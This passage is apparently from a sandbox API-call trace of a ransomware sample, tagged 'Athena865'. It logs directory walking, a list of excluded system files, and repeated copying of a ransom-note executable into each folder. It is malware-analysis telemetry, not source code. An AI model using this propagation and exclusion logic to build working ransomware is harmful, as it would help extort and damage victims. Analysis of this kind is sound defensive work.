lpString1="Acrobat\\HOW TO BACK YOUR FILES.exe") returned="Acrobat\\HOW TO BACK YOUR FILES.exe" [0101.932] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Adobe\\Acrobat\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\local settings\\adobe\\acrobat\\how to back your files.exe"), bFailIfExists=1) returned 1 [0101.935] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce60f420, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Color", cAlternateFileName="")) returned 1 [0101.935] lstrcmpiW (lpString1="Color", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0101.935] lstrcmpiW (lpString1="Color", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0101.935] lstrcmpiW (lpString1="Color", lpString2=".") returned 1 [0101.935] lstrcmpiW (lpString1="Color", lpString2="..") returned 1 [0101.935] lstrcmpiW (lpString1="Color", lpString2="windows") returned -1 [0101.935] lstrcmpiW (lpString1="Color", lpString2="bootmgr") returned 1 [0101.935] lstrcmpiW (lpString1="Color", lpString2="temp") returned -1 [0101.935] lstrcmpiW (lpString1="Color", lpString2="pagefile.sys") returned -1 [0101.935] lstrcmpiW (lpString1="Color", lpString2="boot") returned 1 [0101.935] lstrcmpiW (lpString1="Color", lpString2="ids.txt") returned -1 [0101.935] lstrcmpiW (lpString1="Color", lpString2="ntuser.dat") returned -1 [0101.935] lstrcmpiW (lpString1="Color", lpString2="perflogs") returned -1 [0101.935] lstrcmpiW (lpString1="Color", lpString2="MSBuild") returned -1 [0101.935] lstrlenW (lpString="Color") returned 5 [0101.935] lstrcpyW (in: lpString1=0x241e8d0, lpString2="Color" | out: lpString1="Color") returned="Color" [0101.935] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c488 [0101.935] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x94) returned 0x53d4a0 [0101.935] lstrcatW (in: lpString1="Color", lpString2="\\" | out: lpString1="Color\\") returned="Color\\" [0101.935] lstrcatW (in: lpString1="Color\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Color\\HOW TO BACK YOUR FILES.exe") returned="Color\\HOW TO BACK YOUR FILES.exe" [0101.935] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Adobe\\Color\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\local settings\\adobe\\color\\how to back your files.exe"), bFailIfExists=1) returned 1 [0101.939] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc61a6d40, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc61a6d40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0101.939] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0101.939] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc61a6d40, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc61a6d40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0101.939] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0101.939] ReleaseMutex (hMutex=0xec) returned 1 [0101.939] CloseHandle (hObject=0xec) returned 1 [0101.939] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Application Data" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Application Data") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Application Data" [0101.939] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x522798 | out: hHeap=0x4f0000) returned 1 [0101.939] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c4b8 | out: hHeap=0x4f0000) returned 1 [0101.939] lstrlenW (lpString="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Application Data") returned 78 [0101.939] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\1B37DBD411C23197834AF331C0CFDB77") returned 0xec [0101.939] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0101.939] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Application Data" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Application Data") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Application Data" [0101.939] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0101.939] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Application Data\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\local settings\\application data\\how to back your files.exe"), bFailIfExists=1) returned 0 [0101.940] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Application Data\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\local settings\\application data\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0101.940] GetLastError () returned 0x0 [0101.940] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0101.940] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x546058 [0101.940] ReadFile (in: hFile=0xf4, lpBuffer=0x546058, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x546058*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0101.941] CloseHandle (hObject=0xf4) returned 1 [0101.941] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x546058 | out: hHeap=0x4f0000) returned 1 [0101.941] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0101.941] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Application Data\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc6219160, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc6219160, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0101.942] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0101.942] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0101.942] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0101.942] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc6219160, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc6219160, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.942] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0101.942] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0101.942] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0101.942] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0101.942] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xc61a6d40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc61a6d40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0101.942] lstrcmpiW (lpString1="Adobe", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0101.942] lstrcmpiW (lpString1="Adobe", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0101.942] lstrcmpiW (lpString1="Adobe", lpString2=".") returned 1 [0101.942] lstrcmpiW (lpString1="Adobe", lpString2="..") returned 1 [0101.942] lstrcmpiW (lpString1="Adobe", lpString2="windows") returned -1 [0101.942] lstrcmpiW (lpString1="Adobe", lpString2="bootmgr") returned -1 [0101.942] lstrcmpiW (lpString1="Adobe", lpString2="temp") returned -1 [0101.942] lstrcmpiW (lpString1="Adobe", lpString2="pagefile.sys") returned -1 [0101.942] lstrcmpiW (lpString1="Adobe", lpString2="boot") returned -1 [0101.942] lstrcmpiW (lpString1="Adobe", lpString2="ids.txt") returned -1 [0101.942] lstrcmpiW (lpString1="Adobe", lpString2="ntuser.dat") returned -1 [0101.942] lstrcmpiW (lpString1="Adobe", lpString2="perflogs") returned -1 [0101.942] lstrcmpiW (lpString1="Adobe", lpString2="MSBuild") returned -1 [0101.942] lstrlenW (lpString="Adobe") returned 5 [0101.942] lstrcpyW (in: lpString1=0x241e8e6, lpString2="Adobe" | out: lpString1="Adobe") returned="Adobe" [0101.943] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c4b8 [0101.943] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xaa) returned 0x542568 [0101.943] lstrcatW (in: lpString1="Adobe", lpString2="\\" | out: lpString1="Adobe\\") returned="Adobe\\" [0101.943] lstrcatW (in: lpString1="Adobe\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Adobe\\HOW TO BACK YOUR FILES.exe") returned="Adobe\\HOW TO BACK YOUR FILES.exe" [0101.943] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Application Data\\Adobe\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\local settings\\application data\\adobe\\how to back your files.exe"), bFailIfExists=1) returned 0 [0101.943] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0101.943] lstrcmpiW (lpString1="Application Data", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0101.943] lstrcmpiW (lpString1="Application Data", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0101.943] lstrcmpiW (lpString1="Application Data", lpString2=".") returned 1 [0101.943] lstrcmpiW (lpString1="Application Data", lpString2="..") returned 1 [0101.943] lstrcmpiW (lpString1="Application Data", lpString2="windows") returned -1 [0101.943] lstrcmpiW (lpString1="Application Data", lpString2="bootmgr") returned -1 [0101.943] lstrcmpiW (lpString1="Application Data", lpString2="temp") returned -1 [0101.944] lstrcmpiW (lpString1="Application Data", lpString2="pagefile.sys") returned -1 [0101.944] lstrcmpiW (lpString1="Application Data", lpString2="boot") returned -1 [0101.944] lstrcmpiW (lpString1="Application Data", lpString2="ids.txt") returned -1 [0101.944] lstrcmpiW (lpString1="Application Data", lpString2="ntuser.dat") returned -1 [0101.944] lstrcmpiW (lpString1="Application Data", lpString2="perflogs") returned -1 [0101.944] lstrcmpiW (lpString1="Application Data", lpString2="MSBuild") returned -1 [0101.944] lstrlenW (lpString="Application Data") returned 16 [0101.944] lstrcpyW (in: lpString1=0x241e8e6, lpString2="Application Data" | out: lpString1="Application Data") returned="Application Data" [0101.944] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c4a0 [0101.944] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc0) returned 0x50dd88 [0101.944] lstrcatW (in: lpString1="Application Data", lpString2="\\" | out: lpString1="Application Data\\") returned="Application Data\\" [0101.944] lstrcatW (in: lpString1="Application Data\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Application Data\\HOW TO BACK YOUR FILES.exe") returned="Application Data\\HOW TO BACK YOUR FILES.exe" [0101.944] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Application Data\\Application Data\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\local settings\\application data\\application data\\how to back your files.exe"), bFailIfExists=1) returned 0 [0101.944] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xc61a6d40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc61a6d40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Apps", cAlternateFileName="")) returned 1 [0101.945] lstrcmpiW (lpString1="Apps", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0101.945] lstrcmpiW (lpString1="Apps", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0101.945] lstrcmpiW (lpString1="Apps", lpString2=".") returned 1 [0101.945] lstrcmpiW (lpString1="Apps", lpString2="..") returned 1 [0101.945] lstrcmpiW (lpString1="Apps", lpString2="windows") returned -1 [0101.945] lstrcmpiW (lpString1="Apps", lpString2="bootmgr") returned -1 [0101.945] lstrcmpiW (lpString1="Apps", lpString2="temp") returned -1 [0101.945] lstrcmpiW (lpString1="Apps", lpString2="pagefile.sys") returned -1 [0101.945] lstrcmpiW (lpString1="Apps", lpString2="boot") returned -1 [0101.945] lstrcmpiW (lpString1="Apps", lpString2="ids.txt") returned -1 [0101.945] lstrcmpiW (lpString1="Apps", lpString2="ntuser.dat") returned -1 [0101.945] lstrcmpiW (lpString1="Apps", lpString2="perflogs") returned -1 [0101.945] lstrcmpiW (lpString1="Apps", lpString2="MSBuild") returned -1 [0101.945] lstrlenW (lpString="Apps") returned 4 [0101.945] lstrcpyW (in: lpString1=0x241e8e6, lpString2="Apps" | out: lpString1="Apps") returned="Apps" [0101.945] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c440 [0101.945] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa8) returned 0x512988 [0101.945] lstrcatW (in: lpString1="Apps", lpString2="\\" | out: lpString1="Apps\\") returned="Apps\\" [0101.945] lstrcatW (in: lpString1="Apps\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Apps\\HOW TO BACK YOUR FILES.exe") returned="Apps\\HOW TO BACK YOUR FILES.exe" [0101.945] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Application Data\\Apps\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\local settings\\application data\\apps\\how to back your files.exe"), bFailIfExists=1) returned 0 [0101.946] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65e16800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xc61a6d40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc61a6d40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Deployment", cAlternateFileName="DEPLOY~1")) returned 1 [0101.946] lstrcmpiW (lpString1="Deployment", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0101.946] lstrcmpiW (lpString1="Deployment", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0101.946] lstrcmpiW (lpString1="Deployment", lpString2=".") returned 1 [0101.946] lstrcmpiW (lpString1="Deployment", lpString2="..") returned 1 [0101.946] lstrcmpiW (lpString1="Deployment", lpString2="windows") returned -1 [0101.946] lstrcmpiW (lpString1="Deployment", lpString2="bootmgr") returned 1 [0101.946] lstrcmpiW (lpString1="Deployment", lpString2="temp") returned -1 [0101.946] lstrcmpiW (lpString1="Deployment", lpString2="pagefile.sys") returned -1 [0101.946] lstrcmpiW (lpString1="Deployment", lpString2="boot") returned 1 [0101.946] lstrcmpiW (lpString1="Deployment", lpString2="ids.txt") returned -1 [0101.946] lstrcmpiW (lpString1="Deployment", lpString2="ntuser.dat") returned -1 [0101.946] lstrcmpiW (lpString1="Deployment", lpString2="perflogs") returned -1 [0101.946] lstrcmpiW (lpString1="Deployment", lpString2="MSBuild") returned -1 [0101.946] lstrlenW (lpString="Deployment") returned 10 [0101.946] lstrcpyW (in: lpString1=0x241e8e6, lpString2="Deployment" | out: lpString1="Deployment") returned="Deployment" [0101.946] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x541ec8 [0101.946] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xb4) returned 0x51c948 [0101.946] lstrcatW (in: lpString1="Deployment", lpString2="\\" | out: lpString1="Deployment\\") returned="Deployment\\" [0101.946] lstrcatW (in: lpString1="Deployment\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Deployment\\HOW TO BACK YOUR FILES.exe") returned="Deployment\\HOW TO BACK YOUR FILES.exe" [0101.946] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Application Data\\Deployment\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\local settings\\application data\\deployment\\how to back your files.exe"), bFailIfExists=1) returned 0 [0101.947] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x66051ca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x66051ca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xc61ccea0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x1ac20, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GDIPFONTCACHEV1.DAT.Athena865", cAlternateFileName="GDIPFO~1.ATH")) returned 1 [0101.947] lstrcmpiW (lpString1="GDIPFONTCACHEV1.DAT.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0101.947] lstrcmpiW (lpString1="GDIPFONTCACHEV1.DAT.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0101.947] lstrcmpiW (lpString1="GDIPFONTCACHEV1.DAT.Athena865", lpString2=".") returned 1 [0101.947] lstrcmpiW (lpString1="GDIPFONTCACHEV1.DAT.Athena865", lpString2="..") returned 1 [0101.947] lstrcmpiW (lpString1="GDIPFONTCACHEV1.DAT.Athena865", lpString2="windows") returned -1 [0101.947] lstrcmpiW (lpString1="GDIPFONTCACHEV1.DAT.Athena865", lpString2="bootmgr") returned 1 [0101.947] lstrcmpiW (lpString1="GDIPFONTCACHEV1.DAT.Athena865", lpString2="temp") returned -1 [0101.947] lstrcmpiW (lpString1="GDIPFONTCACHEV1.DAT.Athena865", lpString2="pagefile.sys") returned -1 [0101.947] lstrcmpiW (lpString1="GDIPFONTCACHEV1.DAT.Athena865", lpString2="boot") returned 1 [0101.947] lstrcmpiW (lpString1="GDIPFONTCACHEV1.DAT.Athena865", lpString2="ids.txt") returned -1 [0101.947] lstrcmpiW (lpString1="GDIPFONTCACHEV1.DAT.Athena865", lpString2="ntuser.dat") returned -1 [0101.947] lstrcmpiW (lpString1="GDIPFONTCACHEV1.DAT.Athena865", lpString2="perflogs") returned -1 [0101.947] lstrcmpiW (lpString1="GDIPFONTCACHEV1.DAT.Athena865", lpString2="MSBuild") returned -1 [0101.947] lstrlenW (lpString="GDIPFONTCACHEV1.DAT.Athena865") returned 29 [0101.947] lstrcpyW (in: lpString1=0x241e8e6, lpString2="GDIPFONTCACHEV1.DAT.Athena865" | out: lpString1="GDIPFONTCACHEV1.DAT.Athena865") returned="GDIPFONTCACHEV1.DAT.Athena865" [0101.947] lstrlenW (lpString="GDIPFONTCACHEV1.DAT.Athena865") returned 29 [0101.947] lstrlenW (lpString="Athena865") returned 9 [0101.947] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0101.947] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xc61f3000, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc61f3000, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Google", cAlternateFileName="")) returned 1 [0101.947] lstrcmpiW (lpString1="Google", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0101.948] lstrcmpiW (lpString1="Google", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0101.948] lstrcmpiW (lpString1="Google", lpString2=".") returned 1 [0101.948] lstrcmpiW (lpString1="Google", lpString2="..") returned 1 [0101.948] lstrcmpiW (lpString1="Google", lpString2="windows") returned -1 [0101.948] lstrcmpiW (lpString1="Google", lpString2="bootmgr") returned 1 [0101.948] lstrcmpiW (lpString1="Google", lpString2="temp") returned -1 [0101.948] lstrcmpiW (lpString1="Google", lpString2="pagefile.sys") returned -1 [0101.948] lstrcmpiW (lpString1="Google", lpString2="boot") returned 1 [0101.948] lstrcmpiW (lpString1="Google", lpString2="ids.txt") returned -1 [0101.948] lstrcmpiW (lpString1="Google", lpString2="ntuser.dat") returned -1 [0101.948] lstrcmpiW (lpString1="Google", lpString2="perflogs") returned -1 [0101.956] lstrcmpiW (lpString1="Google", lpString2="MSBuild") returned -1 [0101.956] lstrlenW (lpString="Google") returned 6 [0101.956] lstrcpyW (in: lpString1=0x241e8e6, lpString2="Google" | out: lpString1="Google") returned="Google" [0101.956] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x541ee0 [0101.956] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xac) returned 0x542620 [0101.956] lstrcatW (in: lpString1="Google", lpString2="\\" | out: lpString1="Google\\") returned="Google\\" [0101.956] lstrcatW (in: lpString1="Google\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Google\\HOW TO BACK YOUR FILES.exe") returned="Google\\HOW TO BACK YOUR FILES.exe" [0101.956] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Application Data\\Google\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\local settings\\application data\\google\\how to back your files.exe"), bFailIfExists=1) returned 0 [0101.957] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29175f80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29175f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29175f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="History", cAlternateFileName="")) returned 1 [0101.957] lstrcmpiW (lpString1="History", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0101.957] lstrcmpiW (lpString1="History", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0101.957] lstrcmpiW (lpString1="History", lpString2=".") returned 1 [0101.957] lstrcmpiW (lpString1="History", lpString2="..") returned 1 [0101.957] lstrcmpiW (lpString1="History", lpString2="windows") returned -1 [0101.957] lstrcmpiW (lpString1="History", lpString2="bootmgr") returned 1 [0101.957] lstrcmpiW (lpString1="History", lpString2="temp") returned -1 [0101.957] lstrcmpiW (lpString1="History", lpString2="pagefile.sys") returned -1 [0101.957] lstrcmpiW (lpString1="History", lpString2="boot") returned 1 [0101.957] lstrcmpiW (lpString1="History", lpString2="ids.txt") returned -1 [0101.957] lstrcmpiW (lpString1="History", lpString2="ntuser.dat") returned -1 [0101.957] lstrcmpiW (lpString1="History", lpString2="perflogs") returned -1 [0101.957] lstrcmpiW (lpString1="History", lpString2="MSBuild") returned -1 [0101.957] lstrlenW (lpString="History") returned 7 [0101.957] lstrcpyW (in: lpString1=0x241e8e6, lpString2="History" | out: lpString1="History") returned="History" [0101.957] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x541ef8 [0101.957] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xae) returned 0x5426d8 [0101.957] lstrcatW (in: lpString1="History", lpString2="\\" | out: lpString1="History\\") returned="History\\" [0101.957] lstrcatW (in: lpString1="History\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="History\\HOW TO BACK YOUR FILES.exe") returned="History\\HOW TO BACK YOUR 